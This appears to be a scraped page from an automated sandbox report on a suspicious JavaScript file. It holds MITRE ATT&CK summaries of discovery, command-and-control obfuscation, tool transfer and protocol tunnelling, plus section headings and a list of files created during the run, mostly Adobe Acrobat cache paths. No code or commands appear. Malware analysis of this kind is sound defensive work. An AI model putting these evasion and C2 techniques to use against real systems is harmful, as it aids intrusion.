Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 28091322483050023072.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\8581f3ba-d007-4ab0-bbfd-994b54283197.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.5568

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.5568

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Windows Analysis Report
28091322483050023072.js